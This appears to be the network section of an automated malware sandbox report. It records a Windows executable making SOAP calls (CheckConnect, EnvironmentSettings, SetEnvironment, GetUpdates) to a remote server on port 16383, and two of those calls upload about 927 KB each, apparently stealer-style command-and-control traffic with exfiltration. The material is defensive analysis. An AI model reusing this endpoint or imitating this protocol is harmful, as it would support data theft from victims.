Jan 22, 2025 04:12:11.553096056 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553108931 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553112984 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553121090 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553134918 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553141117 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553148985 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553172112 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553178072 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553191900 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553204060 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553216934 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553217888 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553231001 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553247929 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553256035 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553270102 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553276062 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553282976 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553297043 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.553322077 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.553386927 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.555071115 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555084944 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555109024 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555121899 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555156946 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.555167913 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555182934 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555187941 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.555216074 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.555248976 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.555260897 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555274963 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555288076 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555301905 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555351973 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555356026 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.555363894 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555424929 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.555536985 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555550098 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555565119 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.555608988 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.555664062 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557049036 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557061911 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557074070 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557086945 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557132006 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557145119 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557146072 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557157993 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557169914 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557187080 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557213068 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557235003 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557248116 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557249069 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557260990 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557292938 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557296038 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557307005 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557320118 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557332993 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557341099 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557346106 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557372093 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557384014 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557384968 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557409048 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557425022 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557435036 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557451010 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557465076 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557465076 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557477951 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557491064 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557504892 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557507992 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557518959 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557544947 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557545900 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557559013 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557574034 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557580948 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557586908 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557611942 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557650089 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557913065 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557924986 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557939053 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557952881 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557977915 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.557981014 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.557991028 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558003902 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558011055 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558011055 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558028936 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558043003 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558065891 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558068991 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558079004 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558103085 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558109045 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558115005 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558128119 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558137894 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558140993 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558176994 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558211088 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558350086 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558362961 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558415890 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558454037 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558707952 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558721066 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558733940 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558773994 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558815002 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558826923 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558840990 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558856010 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558870077 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558882952 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558896065 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558908939 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558921099 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558937073 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558949947 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558957100 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.558963060 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558975935 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558988094 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.558996916 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559003115 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559031010 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559032917 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559046984 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559062004 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559067965 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559073925 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559087992 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559103012 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559109926 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559154034 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559550047 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559562922 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559576988 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559590101 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559647083 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559655905 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559689999 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559701920 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559715033 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559726954 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559732914 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559746027 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559758902 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559772015 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559792042 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559809923 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559833050 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559833050 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559856892 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559869051 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559881926 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559895992 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559900045 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559932947 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559973955 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.559977055 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.559988022 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560000896 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560014963 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560061932 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.560065031 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560080051 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560132980 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.560138941 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560153008 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560170889 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560183048 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560195923 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560221910 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560221910 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:11.560235977 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560249090 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560276031 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560288906 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560302019 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560314894 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560340881 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560353994 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560365915 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560379028 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560412884 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.560425997 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:11.603873014 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:12.222477913 CET	16383	49734	192.144.32.84	192.168.2.4
Jan 22, 2025 04:12:12.267087936 CET	49733	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:12.267154932 CET	49734	16383	192.168.2.4	192.144.32.84
Jan 22, 2025 04:12:43.731578112 CET	54795	53	192.168.2.4	162.159.36.2
Jan 22, 2025 04:12:43.736917019 CET	53	54795	162.159.36.2	192.168.2.4
Jan 22, 2025 04:12:43.737340927 CET	54795	53	192.168.2.4	162.159.36.2
Jan 22, 2025 04:12:43.742507935 CET	53	54795	162.159.36.2	192.168.2.4
Jan 22, 2025 04:12:44.215291023 CET	54795	53	192.168.2.4	162.159.36.2
Jan 22, 2025 04:12:44.220443964 CET	53	54795	162.159.36.2	192.168.2.4
Jan 22, 2025 04:12:44.220516920 CET	54795	53	192.168.2.4	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2025 04:12:07.149708986 CET	49385	53	192.168.2.4	1.1.1.1
Jan 22, 2025 04:12:07.157325983 CET	53	49385	1.1.1.1	192.168.2.4
Jan 22, 2025 04:12:43.730464935 CET	53	59310	162.159.36.2	192.168.2.4
Jan 22, 2025 04:12:44.236062050 CET	53	58213	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 22, 2025 04:12:07.149708986 CET	192.168.2.4	1.1.1.1	0x5a32	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 22, 2025 04:12:07.157325983 CET	1.1.1.1	192.168.2.4	0x5a32	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 22, 2025 04:12:07.157325983 CET	1.1.1.1	192.168.2.4	0x5a32	No error (0)	api.ip.sb.cdn.cloudflare.net		172.67.75.172	A (IP address)	IN (0x0001)	false
Jan 22, 2025 04:12:07.157325983 CET	1.1.1.1	192.168.2.4	0x5a32	No error (0)	api.ip.sb.cdn.cloudflare.net		104.26.13.31	A (IP address)	IN (0x0001)	false
Jan 22, 2025 04:12:07.157325983 CET	1.1.1.1	192.168.2.4	0x5a32	No error (0)	api.ip.sb.cdn.cloudflare.net		104.26.12.31	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ip.sb

192.144.32.84:16383

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	192.144.32.84	16383	7296	C:\Users\user\Desktop\VXB84UvyHp.exe

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2025 04:12:01.187937021 CET	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 192.144.32.84:16383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jan 22, 2025 04:12:01.751485109 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 22 Jan 2025 03:12:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Jan 22, 2025 04:12:06.901362896 CET	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 192.144.32.84:16383 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Jan 22, 2025 04:12:07.025682926 CET	25	IN	HTTP/1.1 100 Continue
Jan 22, 2025 04:12:07.075903893 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 10749 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 22 Jan 2025 03:12:07 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>197.210.29.206</b:string><b:string>39.149.3.127</b:string><b:string>139.186.206.86</b:string><b:string>40.122.25.223</b:string><b:string>39.187.217.246</b:string><b:string>60.191.212.86</b:string><b:string>13.89.107.79</b:string><b:string>219.145.34.122</b:string><b:string>1.192.194.178</b:string><b:string>113.88.115.106</b:string><b:string>115.204.242.245</b:string><b:string>219.147.21.122</b:string><b:string>120.235.51.192</b:string><b:string>172.203.161.82</b:string><b:string>172.203.161.82</b:string><b:string>20.7.183.169</b:string><b:string>20.7.183.169</b:string><b:string>104.42.169.232 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	192.144.32.84	16383	7296	C:\Users\user\Desktop\VXB84UvyHp.exe

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2025 04:12:09.938782930 CET	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 192.144.32.84:16383 Content-Length: 927088 Expect: 100-continue Accept-Encoding: gzip, deflate
Jan 22, 2025 04:12:11.159625053 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 22 Jan 2025 03:12:11 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	192.144.32.84	16383	7296	C:\Users\user\Desktop\VXB84UvyHp.exe

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2025 04:12:11.168447018 CET	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 192.144.32.84:16383 Content-Length: 927080 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jan 22, 2025 04:12:12.222477913 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 22 Jan 2025 03:12:12 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
